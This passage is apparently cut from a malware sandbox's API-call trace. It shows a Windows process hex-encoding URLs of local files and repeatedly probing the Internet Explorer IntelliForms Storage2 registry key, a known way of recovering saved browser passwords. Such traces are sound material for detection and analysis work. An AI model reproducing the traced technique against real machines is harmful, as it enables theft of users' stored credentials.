lpString1="34C1F920E1A4784C2719B5E73C") returned="34C1F920E1A4784C2719B5E73C" [0077.991] LocalFree (hMem=0x652968) returned 0x0 [0077.991] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2D") returned 2 [0077.991] lstrlenA (lpString="34C1F920E1A4784C2719B5E73C") returned 26 [0077.991] lstrlenA (lpString="2D") returned 2 [0077.991] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0077.991] lstrcpyA (in: lpString1=0x652968, lpString2="34C1F920E1A4784C2719B5E73C" | out: lpString1="34C1F920E1A4784C2719B5E73C") returned="34C1F920E1A4784C2719B5E73C" [0077.992] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5E73C", lpString2="2D" | out: lpString1="34C1F920E1A4784C2719B5E73C2D") returned="34C1F920E1A4784C2719B5E73C2D" [0077.992] LocalFree (hMem=0x652b60) returned 0x0 [0077.992] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="57") returned 2 [0077.992] lstrlenA (lpString="34C1F920E1A4784C2719B5E73C2D") returned 28 [0077.992] lstrlenA (lpString="57") returned 2 [0077.992] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652b60 [0077.992] lstrcpyA (in: lpString1=0x652b60, lpString2="34C1F920E1A4784C2719B5E73C2D" | out: lpString1="34C1F920E1A4784C2719B5E73C2D") returned="34C1F920E1A4784C2719B5E73C2D" [0077.992] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5E73C2D", lpString2="57" | out: lpString1="34C1F920E1A4784C2719B5E73C2D57") returned="34C1F920E1A4784C2719B5E73C2D57" [0077.992] LocalFree (hMem=0x652968) returned 0x0 [0077.992] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="45") returned 2 [0077.992] lstrlenA (lpString="34C1F920E1A4784C2719B5E73C2D57") returned 30 [0077.992] lstrlenA (lpString="45") returned 2 [0077.992] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0077.992] lstrcpyA (in: lpString1=0x6293a8, lpString2="34C1F920E1A4784C2719B5E73C2D57" | out: lpString1="34C1F920E1A4784C2719B5E73C2D57") returned="34C1F920E1A4784C2719B5E73C2D57" [0077.992] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5E73C2D57", lpString2="45" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745") returned="34C1F920E1A4784C2719B5E73C2D5745" [0077.992] LocalFree (hMem=0x652b60) returned 0x0 [0077.992] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D9") returned 2 [0077.992] lstrlenA (lpString="34C1F920E1A4784C2719B5E73C2D5745") returned 32 [0077.992] lstrlenA (lpString="D9") returned 2 [0077.992] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0077.992] lstrcpyA (in: lpString1=0x6292f8, lpString2="34C1F920E1A4784C2719B5E73C2D5745" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745") returned="34C1F920E1A4784C2719B5E73C2D5745" [0077.992] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5E73C2D5745", lpString2="D9" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745D9") returned="34C1F920E1A4784C2719B5E73C2D5745D9" [0077.992] LocalFree (hMem=0x6293a8) returned 0x0 [0077.992] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="28") returned 2 [0077.992] lstrlenA (lpString="34C1F920E1A4784C2719B5E73C2D5745D9") returned 34 [0077.992] lstrlenA (lpString="28") returned 2 [0077.992] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0077.992] lstrcpyA (in: lpString1=0x6293a8, lpString2="34C1F920E1A4784C2719B5E73C2D5745D9" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745D9") returned="34C1F920E1A4784C2719B5E73C2D5745D9" [0077.992] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5E73C2D5745D9", lpString2="28" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745D928") returned="34C1F920E1A4784C2719B5E73C2D5745D928" [0077.992] LocalFree (hMem=0x6292f8) returned 0x0 [0077.992] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="35") returned 2 [0077.992] lstrlenA (lpString="34C1F920E1A4784C2719B5E73C2D5745D928") returned 36 [0077.992] lstrlenA (lpString="35") returned 2 [0077.992] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0077.992] lstrcpyA (in: lpString1=0x6292f8, lpString2="34C1F920E1A4784C2719B5E73C2D5745D928" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745D928") returned="34C1F920E1A4784C2719B5E73C2D5745D928" [0077.992] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5E73C2D5745D928", lpString2="35" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745D92835") returned="34C1F920E1A4784C2719B5E73C2D5745D92835" [0077.992] LocalFree (hMem=0x6293a8) returned 0x0 [0077.992] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="35") returned 2 [0077.992] lstrlenA (lpString="34C1F920E1A4784C2719B5E73C2D5745D92835") returned 38 [0077.992] lstrlenA (lpString="35") returned 2 [0077.993] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647a00 [0077.993] lstrcpyA (in: lpString1=0x647a00, lpString2="34C1F920E1A4784C2719B5E73C2D5745D92835" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745D92835") returned="34C1F920E1A4784C2719B5E73C2D5745D92835" [0077.993] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5E73C2D5745D92835", lpString2="35" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745D9283535") returned="34C1F920E1A4784C2719B5E73C2D5745D9283535" [0077.993] LocalFree (hMem=0x6292f8) returned 0x0 [0077.993] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A3") returned 2 [0077.993] lstrlenA (lpString="34C1F920E1A4784C2719B5E73C2D5745D9283535") returned 40 [0077.993] lstrlenA (lpString="A3") returned 2 [0077.993] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647890 [0077.993] lstrcpyA (in: lpString1=0x647890, lpString2="34C1F920E1A4784C2719B5E73C2D5745D9283535" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745D9283535") returned="34C1F920E1A4784C2719B5E73C2D5745D9283535" [0077.993] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5E73C2D5745D9283535", lpString2="A3" | out: lpString1="34C1F920E1A4784C2719B5E73C2D5745D9283535A3") returned="34C1F920E1A4784C2719B5E73C2D5745D9283535A3" [0077.993] LocalFree (hMem=0x647a00) returned 0x0 [0077.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.993] LocalFree (hMem=0x647890) returned 0x0 [0077.993] CoTaskMemFree (pv=0x62c670) [0077.993] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/1JkFyDVHAtgvqCTCK2.flv", lpSrch="?") returned 0x0 [0077.993] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/1JkFyDVHAtgvqCTCK2.flv") returned 63 [0077.993] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="53") returned 2 [0077.993] lstrlenA (lpString="") returned 0 [0077.993] lstrlenA (lpString="53") returned 2 [0077.993] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65a538 [0077.993] lstrcpyA (in: lpString1=0x65a538, lpString2="" | out: lpString1="") returned="" [0077.993] lstrcatA (in: lpString1="", lpString2="53" | out: lpString1="53") returned="53" [0077.993] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EB") returned 2 [0077.993] lstrlenA (lpString="53") returned 2 [0077.993] lstrlenA (lpString="EB") returned 2 [0077.993] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65a5c8 [0077.993] lstrcpyA (in: lpString1=0x65a5c8, lpString2="53" | out: lpString1="53") returned="53" [0077.993] lstrcatA (in: lpString1="53", lpString2="EB" | out: lpString1="53EB") returned="53EB" [0077.993] LocalFree (hMem=0x65a538) returned 0x0 [0077.993] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A0") returned 2 [0077.994] lstrlenA (lpString="53EB") returned 4 [0077.994] lstrlenA (lpString="A0") returned 2 [0077.994] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65a538 [0077.994] lstrcpyA (in: lpString1=0x65a538, lpString2="53EB" | out: lpString1="53EB") returned="53EB" [0077.994] lstrcatA (in: lpString1="53EB", lpString2="A0" | out: lpString1="53EBA0") returned="53EBA0" [0077.994] LocalFree (hMem=0x65a5c8) returned 0x0 [0077.994] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="38") returned 2 [0077.994] lstrlenA (lpString="53EBA0") returned 6 [0077.994] lstrlenA (lpString="38") returned 2 [0077.994] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x65a5c8 [0077.994] lstrcpyA (in: lpString1=0x65a5c8, lpString2="53EBA0" | out: lpString1="53EBA0") returned="53EBA0" [0077.994] lstrcatA (in: lpString1="53EBA0", lpString2="38" | out: lpString1="53EBA038") returned="53EBA038" [0077.994] LocalFree (hMem=0x65a538) returned 0x0 [0077.994] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="17") returned 2 [0077.994] lstrlenA (lpString="53EBA038") returned 8 [0077.994] lstrlenA (lpString="17") returned 2 [0077.994] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x65a660 [0077.994] lstrcpyA (in: lpString1=0x65a660, lpString2="53EBA038" | out: lpString1="53EBA038") returned="53EBA038" [0077.994] lstrcatA (in: lpString1="53EBA038", lpString2="17" | out: lpString1="53EBA03817") returned="53EBA03817" [0077.994] LocalFree (hMem=0x65a5c8) returned 0x0 [0077.994] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F1") returned 2 [0077.994] lstrlenA (lpString="53EBA03817") returned 10 [0077.994] lstrlenA (lpString="F1") returned 2 [0077.994] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x65a538 [0077.994] lstrcpyA (in: lpString1=0x65a538, lpString2="53EBA03817" | out: lpString1="53EBA03817") returned="53EBA03817" [0077.994] lstrcatA (in: lpString1="53EBA03817", lpString2="F1" | out: lpString1="53EBA03817F1") returned="53EBA03817F1" [0077.994] LocalFree (hMem=0x65a660) returned 0x0 [0077.994] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="21") returned 2 [0077.994] lstrlenA (lpString="53EBA03817F1") returned 12 [0077.994] lstrlenA (lpString="21") returned 2 [0077.994] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x65a5d0 [0077.994] lstrcpyA (in: lpString1=0x65a5d0, lpString2="53EBA03817F1" | out: lpString1="53EBA03817F1") returned="53EBA03817F1" [0077.994] lstrcatA (in: lpString1="53EBA03817F1", lpString2="21" | out: lpString1="53EBA03817F121") returned="53EBA03817F121" [0077.994] LocalFree (hMem=0x65a538) returned 0x0 [0077.994] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1B") returned 2 [0077.994] lstrlenA (lpString="53EBA03817F121") returned 14 [0077.994] lstrlenA (lpString="1B") returned 2 [0077.994] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65a668 [0077.994] lstrcpyA (in: lpString1=0x65a668, lpString2="53EBA03817F121" | out: lpString1="53EBA03817F121") returned="53EBA03817F121" [0077.994] lstrcatA (in: lpString1="53EBA03817F121", lpString2="1B" | out: lpString1="53EBA03817F1211B") returned="53EBA03817F1211B" [0077.995] LocalFree (hMem=0x65a5d0) returned 0x0 [0077.995] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F1") returned 2 [0077.995] lstrlenA (lpString="53EBA03817F1211B") returned 16 [0077.995] lstrlenA (lpString="F1") returned 2 [0077.995] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65a538 [0077.995] lstrcpyA (in: lpString1=0x65a538, lpString2="53EBA03817F1211B" | out: lpString1="53EBA03817F1211B") returned="53EBA03817F1211B" [0077.995] lstrcatA (in: lpString1="53EBA03817F1211B", lpString2="F1" | out: lpString1="53EBA03817F1211BF1") returned="53EBA03817F1211BF1" [0077.995] LocalFree (hMem=0x65a668) returned 0x0 [0077.995] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="49") returned 2 [0077.995] lstrlenA (lpString="53EBA03817F1211BF1") returned 18 [0077.995] lstrlenA (lpString="49") returned 2 [0077.995] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65a5d8 [0077.995] lstrcpyA (in: lpString1=0x65a5d8, lpString2="53EBA03817F1211BF1" | out: lpString1="53EBA03817F1211BF1") returned="53EBA03817F1211BF1" [0077.995] lstrcatA (in: lpString1="53EBA03817F1211BF1", lpString2="49" | out: lpString1="53EBA03817F1211BF149") returned="53EBA03817F1211BF149" [0077.995] LocalFree (hMem=0x65a538) returned 0x0 [0077.995] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="61") returned 2 [0077.995] lstrlenA (lpString="53EBA03817F1211BF149") returned 20 [0077.995] lstrlenA (lpString="61") returned 2 [0077.995] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65a538 [0077.995] lstrcpyA (in: lpString1=0x65a538, lpString2="53EBA03817F1211BF149" | out: lpString1="53EBA03817F1211BF149") returned="53EBA03817F1211BF149" [0077.995] lstrcatA (in: lpString1="53EBA03817F1211BF149", lpString2="61" | out: lpString1="53EBA03817F1211BF14961") returned="53EBA03817F1211BF14961" [0077.995] LocalFree (hMem=0x65a5d8) returned 0x0 [0077.995] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A8") returned 2 [0077.995] lstrlenA (lpString="53EBA03817F1211BF14961") returned 22 [0077.995] lstrlenA (lpString="A8") returned 2 [0077.995] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652b60 [0077.995] lstrcpyA (in: lpString1=0x652b60, lpString2="53EBA03817F1211BF14961" | out: lpString1="53EBA03817F1211BF14961") returned="53EBA03817F1211BF14961" [0077.995] lstrcatA (in: lpString1="53EBA03817F1211BF14961", lpString2="A8" | out: lpString1="53EBA03817F1211BF14961A8") returned="53EBA03817F1211BF14961A8" [0077.995] LocalFree (hMem=0x65a538) returned 0x0 [0077.995] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="31") returned 2 [0077.995] lstrlenA (lpString="53EBA03817F1211BF14961A8") returned 24 [0077.995] lstrlenA (lpString="31") returned 2 [0077.995] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652968 [0077.995] lstrcpyA (in: lpString1=0x652968, lpString2="53EBA03817F1211BF14961A8" | out: lpString1="53EBA03817F1211BF14961A8") returned="53EBA03817F1211BF14961A8" [0077.995] lstrcatA (in: lpString1="53EBA03817F1211BF14961A8", lpString2="31" | out: lpString1="53EBA03817F1211BF14961A831") returned="53EBA03817F1211BF14961A831" [0077.995] LocalFree (hMem=0x652b60) returned 0x0 [0077.995] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="62") returned 2 [0077.995] lstrlenA (lpString="53EBA03817F1211BF14961A831") returned 26 [0077.995] lstrlenA (lpString="62") returned 2 [0077.996] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652b60 [0077.996] lstrcpyA (in: lpString1=0x652b60, lpString2="53EBA03817F1211BF14961A831" | out: lpString1="53EBA03817F1211BF14961A831") returned="53EBA03817F1211BF14961A831" [0077.996] lstrcatA (in: lpString1="53EBA03817F1211BF14961A831", lpString2="62" | out: lpString1="53EBA03817F1211BF14961A83162") returned="53EBA03817F1211BF14961A83162" [0077.996] LocalFree (hMem=0x652968) returned 0x0 [0077.996] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6C") returned 2 [0077.996] lstrlenA (lpString="53EBA03817F1211BF14961A83162") returned 28 [0077.996] lstrlenA (lpString="6C") returned 2 [0077.996] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652968 [0077.996] lstrcpyA (in: lpString1=0x652968, lpString2="53EBA03817F1211BF14961A83162" | out: lpString1="53EBA03817F1211BF14961A83162") returned="53EBA03817F1211BF14961A83162" [0077.996] lstrcatA (in: lpString1="53EBA03817F1211BF14961A83162", lpString2="6C" | out: lpString1="53EBA03817F1211BF14961A831626C") returned="53EBA03817F1211BF14961A831626C" [0077.996] LocalFree (hMem=0x652b60) returned 0x0 [0077.996] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7B") returned 2 [0077.996] lstrlenA (lpString="53EBA03817F1211BF14961A831626C") returned 30 [0077.996] lstrlenA (lpString="7B") returned 2 [0077.996] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.996] lstrcpyA (in: lpString1=0x6292f8, lpString2="53EBA03817F1211BF14961A831626C" | out: lpString1="53EBA03817F1211BF14961A831626C") returned="53EBA03817F1211BF14961A831626C" [0077.996] lstrcatA (in: lpString1="53EBA03817F1211BF14961A831626C", lpString2="7B" | out: lpString1="53EBA03817F1211BF14961A831626C7B") returned="53EBA03817F1211BF14961A831626C7B" [0077.996] LocalFree (hMem=0x652968) returned 0x0 [0077.996] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6D") returned 2 [0077.996] lstrlenA (lpString="53EBA03817F1211BF14961A831626C7B") returned 32 [0077.996] lstrlenA (lpString="6D") returned 2 [0077.996] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.996] lstrcpyA (in: lpString1=0x6293a8, lpString2="53EBA03817F1211BF14961A831626C7B" | out: lpString1="53EBA03817F1211BF14961A831626C7B") returned="53EBA03817F1211BF14961A831626C7B" [0077.996] lstrcatA (in: lpString1="53EBA03817F1211BF14961A831626C7B", lpString2="6D" | out: lpString1="53EBA03817F1211BF14961A831626C7B6D") returned="53EBA03817F1211BF14961A831626C7B6D" [0077.996] LocalFree (hMem=0x6292f8) returned 0x0 [0077.996] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9A") returned 2 [0077.996] lstrlenA (lpString="53EBA03817F1211BF14961A831626C7B6D") returned 34 [0077.996] lstrlenA (lpString="9A") returned 2 [0077.996] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.996] lstrcpyA (in: lpString1=0x6292f8, lpString2="53EBA03817F1211BF14961A831626C7B6D" | out: lpString1="53EBA03817F1211BF14961A831626C7B6D") returned="53EBA03817F1211BF14961A831626C7B6D" [0077.996] lstrcatA (in: lpString1="53EBA03817F1211BF14961A831626C7B6D", lpString2="9A" | out: lpString1="53EBA03817F1211BF14961A831626C7B6D9A") returned="53EBA03817F1211BF14961A831626C7B6D9A" [0077.996] LocalFree (hMem=0x6293a8) returned 0x0 [0077.996] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="59") returned 2 [0077.996] lstrlenA (lpString="53EBA03817F1211BF14961A831626C7B6D9A") returned 36 [0077.996] lstrlenA (lpString="59") returned 2 [0077.996] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.996] lstrcpyA (in: lpString1=0x6293a8, lpString2="53EBA03817F1211BF14961A831626C7B6D9A" | out: lpString1="53EBA03817F1211BF14961A831626C7B6D9A") returned="53EBA03817F1211BF14961A831626C7B6D9A" [0077.997] lstrcatA (in: lpString1="53EBA03817F1211BF14961A831626C7B6D9A", lpString2="59" | out: lpString1="53EBA03817F1211BF14961A831626C7B6D9A59") returned="53EBA03817F1211BF14961A831626C7B6D9A59" [0077.997] LocalFree (hMem=0x6292f8) returned 0x0 [0077.997] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="05") returned 2 [0077.997] lstrlenA (lpString="53EBA03817F1211BF14961A831626C7B6D9A59") returned 38 [0077.997] lstrlenA (lpString="05") returned 2 [0077.997] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647890 [0077.997] lstrcpyA (in: lpString1=0x647890, lpString2="53EBA03817F1211BF14961A831626C7B6D9A59" | out: lpString1="53EBA03817F1211BF14961A831626C7B6D9A59") returned="53EBA03817F1211BF14961A831626C7B6D9A59" [0077.997] lstrcatA (in: lpString1="53EBA03817F1211BF14961A831626C7B6D9A59", lpString2="05" | out: lpString1="53EBA03817F1211BF14961A831626C7B6D9A5905") returned="53EBA03817F1211BF14961A831626C7B6D9A5905" [0077.997] LocalFree (hMem=0x6293a8) returned 0x0 [0077.997] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7C") returned 2 [0077.997] lstrlenA (lpString="53EBA03817F1211BF14961A831626C7B6D9A5905") returned 40 [0077.997] lstrlenA (lpString="7C") returned 2 [0077.997] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647a00 [0077.997] lstrcpyA (in: lpString1=0x647a00, lpString2="53EBA03817F1211BF14961A831626C7B6D9A5905" | out: lpString1="53EBA03817F1211BF14961A831626C7B6D9A5905") returned="53EBA03817F1211BF14961A831626C7B6D9A5905" [0077.997] lstrcatA (in: lpString1="53EBA03817F1211BF14961A831626C7B6D9A5905", lpString2="7C" | out: lpString1="53EBA03817F1211BF14961A831626C7B6D9A59057C") returned="53EBA03817F1211BF14961A831626C7B6D9A59057C" [0077.997] LocalFree (hMem=0x647890) returned 0x0 [0077.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.997] LocalFree (hMem=0x647a00) returned 0x0 [0077.997] CoTaskMemFree (pv=0x6560e0) [0077.997] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/D9j5/-wd5o.mkv", lpSrch="?") returned 0x0 [0077.997] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/D9j5/-wd5o.mkv") returned 46 [0077.997] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="04") returned 2 [0077.997] lstrlenA (lpString="") returned 0 [0077.997] lstrlenA (lpString="04") returned 2 [0077.997] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65a5e8 [0077.997] lstrcpyA (in: lpString1=0x65a5e8, lpString2="" | out: lpString1="") returned="" [0077.997] lstrcatA (in: lpString1="", lpString2="04" | out: lpString1="04") returned="04" [0077.997] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="37") returned 2 [0077.998] lstrlenA (lpString="04") returned 2 [0077.998] lstrlenA (lpString="37") returned 2 [0077.998] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65a678 [0077.998] lstrcpyA (in: lpString1=0x65a678, lpString2="04" | out: lpString1="04") returned="04" [0077.998] lstrcatA (in: lpString1="04", lpString2="37" | out: lpString1="0437") returned="0437" [0077.998] LocalFree (hMem=0x65a5e8) returned 0x0 [0077.998] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="33") returned 2 [0077.998] lstrlenA (lpString="0437") returned 4 [0077.998] lstrlenA (lpString="33") returned 2 [0077.999] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65a5e8 [0077.999] lstrcpyA (in: lpString1=0x65a5e8, lpString2="0437" | out: lpString1="0437") returned="0437" [0077.999] lstrcatA (in: lpString1="0437", lpString2="33" | out: lpString1="043733") returned="043733" [0077.999] LocalFree (hMem=0x65a678) returned 0x0 [0077.999] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="69") returned 2 [0077.999] lstrlenA (lpString="043733") returned 6 [0077.999] lstrlenA (lpString="69") returned 2 [0077.999] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x65a678 [0077.999] lstrcpyA (in: lpString1=0x65a678, lpString2="043733" | out: lpString1="043733") returned="043733" [0077.999] lstrcatA (in: lpString1="043733", lpString2="69" | out: lpString1="04373369") returned="04373369" [0077.999] LocalFree (hMem=0x65a5e8) returned 0x0 [0077.999] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8A") returned 2 [0077.999] lstrlenA (lpString="04373369") returned 8 [0077.999] lstrlenA (lpString="8A") returned 2 [0077.999] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x65a710 [0077.999] lstrcpyA (in: lpString1=0x65a710, lpString2="04373369" | out: lpString1="04373369") returned="04373369" [0077.999] lstrcatA (in: lpString1="04373369", lpString2="8A" | out: lpString1="043733698A") returned="043733698A" [0077.999] LocalFree (hMem=0x65a678) returned 0x0 [0077.999] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0077.999] lstrlenA (lpString="043733698A") returned 10 [0078.000] lstrlenA (lpString="44") returned 2 [0078.000] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x65a5e8 [0078.000] lstrcpyA (in: lpString1=0x65a5e8, lpString2="043733698A" | out: lpString1="043733698A") returned="043733698A" [0078.000] lstrcatA (in: lpString1="043733698A", lpString2="44" | out: lpString1="043733698A44") returned="043733698A44" [0078.000] LocalFree (hMem=0x65a710) returned 0x0 [0078.000] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D2") returned 2 [0078.000] lstrlenA (lpString="043733698A44") returned 12 [0078.000] lstrlenA (lpString="D2") returned 2 [0078.000] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x65a680 [0078.000] lstrcpyA (in: lpString1=0x65a680, lpString2="043733698A44" | out: lpString1="043733698A44") returned="043733698A44" [0078.000] lstrcatA (in: lpString1="043733698A44", lpString2="D2" | out: lpString1="043733698A44D2") returned="043733698A44D2" [0078.000] LocalFree (hMem=0x65a5e8) returned 0x0 [0078.000] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="77") returned 2 [0078.000] lstrlenA (lpString="043733698A44D2") returned 14 [0078.000] lstrlenA (lpString="77") returned 2 [0078.000] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65a718 [0078.000] lstrcpyA (in: lpString1=0x65a718, lpString2="043733698A44D2" | out: lpString1="043733698A44D2") returned="043733698A44D2" [0078.000] lstrcatA (in: lpString1="043733698A44D2", lpString2="77" | out: lpString1="043733698A44D277") returned="043733698A44D277" [0078.000] LocalFree (hMem=0x65a680) returned 0x0 [0078.000] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A0") returned 2 [0078.000] lstrlenA (lpString="043733698A44D277") returned 16 [0078.000] lstrlenA (lpString="A0") returned 2 [0078.001] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65a5e8 [0078.003] lstrcpyA (in: lpString1=0x65a5e8, lpString2="043733698A44D277" | out: lpString1="043733698A44D277") returned="043733698A44D277" [0078.003] lstrcatA (in: lpString1="043733698A44D277", lpString2="A0" | out: lpString1="043733698A44D277A0") returned="043733698A44D277A0" [0078.003] LocalFree (hMem=0x65a718) returned 0x0 [0078.003] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="58") returned 2 [0078.003] lstrlenA (lpString="043733698A44D277A0") returned 18 [0078.003] lstrlenA (lpString="58") returned 2 [0078.003] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65a688 [0078.003] lstrcpyA (in: lpString1=0x65a688, lpString2="043733698A44D277A0" | out: lpString1="043733698A44D277A0") returned="043733698A44D277A0" [0078.003] lstrcatA (in: lpString1="043733698A44D277A0", lpString2="58" | out: lpString1="043733698A44D277A058") returned="043733698A44D277A058" [0078.003] LocalFree (hMem=0x65a5e8) returned 0x0 [0078.003] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0D") returned 2 [0078.003] lstrlenA (lpString="043733698A44D277A058") returned 20 [0078.003] lstrlenA (lpString="0D") returned 2 [0078.003] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65a5e8 [0078.003] lstrcpyA (in: lpString1=0x65a5e8, lpString2="043733698A44D277A058" | out: lpString1="043733698A44D277A058") returned="043733698A44D277A058" [0078.004] lstrcatA (in: lpString1="043733698A44D277A058", lpString2="0D" | out: lpString1="043733698A44D277A0580D") returned="043733698A44D277A0580D" [0078.004] LocalFree (hMem=0x65a688) returned 0x0 [0078.004] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A1") returned 2 [0078.004] lstrlenA (lpString="043733698A44D277A0580D") returned 22 [0078.004] lstrlenA (lpString="A1") returned 